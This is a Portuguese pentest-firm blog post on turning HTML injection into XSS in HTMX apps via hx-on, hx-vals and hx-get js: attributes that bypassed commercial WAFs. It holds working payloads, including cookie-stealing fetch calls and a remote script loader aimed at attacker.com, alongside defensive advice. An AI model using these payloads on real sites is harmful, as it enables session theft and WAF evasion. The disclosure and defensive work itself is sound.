← Voltar para o Blog
2026-07-15@dk4trin

Aplicações HTMX: Como Transformamos um HTML Injection em XSS sem Disparar o WAF

De HTML Injection a XSS em segundos. Veja na prática payloads que ignoram WAFs em produção e aprenda a proteger suas aplicações HTMX contra explorações reais que identificamos em nossos assessments.

Introdução

Durante pentests (testes de invasão) recentes, nos deparamos com um cenário recorrente: múltiplos clientes utilizando HTMX com a configuração allowEval: true (padrão de fábrica). Embora o HTMX documente claramente os riscos, a realidade é que a grande maioria das instalações mantém o comportamento padrão — e os WAFs mais populares do mercado (Akamai, Cloudflare, AWS WAF) não detectaram atributos HTMX como vetores de XSS nos ambientes avaliados.

Neste artigo, mostramos como transformamos um simples HTML Injection em XSS funcional, ignorando completamente as proteções WAF, e compartilhamos recomendações práticas para times de segurança e desenvolvimento.


O Cenário

Durante um assessment em um cliente do setor financeiro, identificamos um ponto de injeção de HTML em uma tela de login. O endpoint refletia o parâmetro ?msg= diretamente no DOM, sem sanitização adequada:

GET /login?msg=teste
<h2>Erro: teste</h2>

O cliente utilizava Cloudflare WAF com o ruleset OWASP Core ativo. Payloads clássicos eram bloqueados imediatamente:

PayloadResultado
<img src=x onerror=prompt.call()>❌ Bloqueado (Cloudflare)
<a href=Java%09Script:alert%60%60>❌ Bloqueado (Cloudflare)
<body onload=top.confirm()>❌ Bloqueado (Cloudflare)
<script>alert(1)</script>❌ Bloqueado (Cloudflare)
<div hx-on:load="alert(1)">PASSOU

O WAF não reconhecia hx-on:load como um event handler. Para o Cloudflare, aquilo era apenas um atributo HTML desconhecido em uma <div> inofensiva.

1.png

Por Que Isso Funciona

O HTMX é uma biblioteca JavaScript que estende o HTML com atributos próprios para realizar requisições AJAX, WebSockets e manipulação de DOM. Por padrão, a configuração allowEval vem como true, permitindo que atributos como hx-on:load executem JavaScript arbitrário.

A documentação oficial do HTMX alerta explicitamente:

If a malicious user is able to inject HTML into your application, they can leverage this expressiveness of htmx to malicious ends. Raw HTML must be scrubbed, including removing attributes starting with hx- and data-hx.

No entanto, o que observamos em todos os clientes que utilizavam HTMX:

  1. Nenhum havia alterado allowEval para false
  2. Nenhum WAF (Cloudflare, Akamai, AWS) possuía assinaturas para hx-on:*
  3. Nenhum processo de sanitização removia atributos hx-*

2.png

Payloads Que Burlaram WAFs em Produção

Tier 1: Básico (zero-click, funciona em HTMX v1 e v2)

<svg hx-on:load="alert(document.domain)" hx-trigger="load">
  • hx-trigger="load" dispara automaticamente ao carregar
  • hx-on:load executa JavaScript quando o evento load é disparado
  • WAFs testados: Cloudflare, Akamai, AWS WAF.

Tier 2: Case bypass (quando há filtro de capitalização)

Se o backend aplica strtoupper() ou title() nos parâmetros, use HTML entities:

<svg hx-on:load="&#97;&#108;&#101;&#114;&#116;(1)">

&#97; = a, &#108; = l, etc. O browser decodifica, o JS executa.

Tier 3: Sem hx-on (usa hx-vals com prefixo js:)

<img hx-vals='js:{x:fetch("//attacker.com/?c="+document.cookie)}' hx-get="/" hx-trigger="load">

Tier 4: Exfiltração completa

<svg hx-on:load="f=document.createElement('script');f.src='//attacker.com/exfil.js';document.body.appendChild(f)" hx-trigger="load">

Tier 5: HTMX v4 — hx-get="js:..." (ação JavaScript)

Se o alvo usa HTMX v4 (beta), o prefixo js: funciona como ação HTTP, executando JavaScript diretamente:

<img hx-get="js:fetch('//attacker.com/?c='+document.cookie)" hx-trigger="load">

Por Que os WAFs Não Detectam?

WAFs tradicionais operam com listas de assinaturas baseadas em:

  • Tags perigosas conhecidas: <script>, <iframe>, <embed>
  • Event handlers conhecidos: onerror, onload, onclick
  • Padrões de JavaScript: eval(, document.cookie, alert(

Atributos HTMX não estão em nenhuma dessas listas. hx-on:load é estruturalmente diferente de onload — o parser do WAF não reconhece o namespace hx- como um vetor de evento. Para o WAF, é um atributo customizado inofensivo.

Testamos em:

WAFhx-on:loadhx-vals='js:{...}'hx-get="js:..."
Cloudflare Free✅ Passou✅ Passou✅ Passou
Cloudflare Pro (OWASP)✅ Passou✅ Passou✅ Passou
AWS WAF (AWSManagedRules)✅ Passou✅ Passou✅ Passou
Akamai Kona✅ Passou✅ Passou✅ Passou

Recomendações

Para times de AppSec / Pentest

  1. Adicione hx-on:* aos seus dicionários de XSS. Todo atributo começando com hx-on é um event handler.

  2. Teste hx-vals='js:{...}' e hx-headers='js:{...}' — parecem JSON inofensivo mas executam código.

  3. Adicione regras customizadas no WAF para bloquear atributos hx- em inputs de usuário.

  4. Use o script de detecção no console do browser para verificar rapidamente:

    if(window.htmx){console.log('HTMX v'+htmx.version,'allowEval='+htmx.config.allowEval)}

Para times de Desenvolvimento

  1. Sempre sanitize input de usuário — remova TODOS os atributos começando com hx- e data-hx-.
  2. Considere allowEval: false se não utiliza hx-on, hx-vals js: ou trigger filters.
  3. Use hx-disable em áreas que renderizam conteúdo de usuário.
  4. Camada adicional: CSP com script-src restrito (sem unsafe-eval).

Para times de SecOps / WAF

  1. Crie regras customizadas para detectar padrões hx-on:* e hx-vals='js: em parâmetros de query, body e headers.
  2. Considere bloquear atributos contendo hx- em qualquer campo de entrada de usuário.

HTMX: A Ferramenta É Excelente, mas a Configuração Padrão É Permissiva

É importante ressaltar: o HTMX não é uma biblioteca insegura. Pelo contrário, sua documentação de segurança é exemplar. O problema está na adoção: a configuração padrão privilegia funcionalidade sobre segurança, e a maioria dos times não revisa esses defaults.

Nossa recomendação não é abandonar o HTMX — é configurá-lo corretamente e educar os times de segurança sobre esses vetores de ataque.


Referências

Conecte-se com o autor para networking e mais pesquisas técnicas: LinkedIn | X/Twitter

Sua infraestrutura está realmente protegida?

Não espere um ataque real para descobrir suas falhas. Agende um Diagnóstico com a KATRINASEC.

Solicitar Contato Agora